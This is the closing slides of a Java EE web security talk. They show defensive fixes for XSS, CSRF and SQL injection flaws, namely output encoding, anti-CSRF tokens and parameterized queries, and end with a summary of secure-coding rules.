  • 32. Data Validation Inbound Data Should I be consuming this? Validation Encoding Outbound Data Validation Application Data Store Inbound Data Encoding Validation Should I be emitting this? Outbound Data Java EE Web Security By Example 32
  • 33. Output Encoding •  Encoding –  Convert characters so they are treated as data and not special characters •  Must escape differently depending where data is displayed on the page •  XSS Prevention Cheat Sheet http://www.owasp.org/index.php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sh eet Java EE Web Security By Example 33
  • 34. Fix XSS in head.jsp •  Add URL encoding <link rel="stylesheet" type="text/css" media="all" href="<%= request.getContextPath() %>/roller-ui/theme/<%= ESAPI.encoder().encodeForURL(theme) %>/ colors.css" /> Java EE Web Security By Example 34
  • 35. Fix CSRF in Update User Functionality • UserAdmin.jsp – Add anti-CSRF token <input type="hidden" name=<%= CSRFTokenUtil.SESSION_ATTR_KEY %> value=<%= CSRFTokenUtil.getToken(request.getSession(false)) %> > • UserAdminAction.java – Check anti-CSRF token if (!CSRFTokenUtil.isValid(req.getSession(false), req)){ return mapping.findForward("error"); } Java EE Web Security By Example 35
  • 36. Fix SQL Injection in UserServlet.java •  Use parameterized queries correctly if (startsWith == null || startsWith.equals("")) { query = "SELECT username, emailaddress FROM rolleruser"; stmt = con.prepareStatement(query); } else { query = "SELECT username, emailaddress FROM rolleruser WHERE username like ? or emailaddress like ?"; stmt = con.prepareStatement(query); stmt.setString(1, startsWith + "%"); stmt.setString(2, startsWith + "%"); } rs = stmt.executeQuery(); Java EE Web Security By Example 36
  • 37. Building Secure Software Source: Microsoft SDL Java EE Web Security By Example 37
  • 38. Remember •  Hacking is not hard •  Don’t trust any data –  Validate input –  Encode output –  Use CSRF tokens –  Use parameterized queries Java EE Web Security By Example 38
  • 39.
  • 40. Thanks! Frank Kim frank@thinksec.com @sansappsec Java EE Web Security By Example 40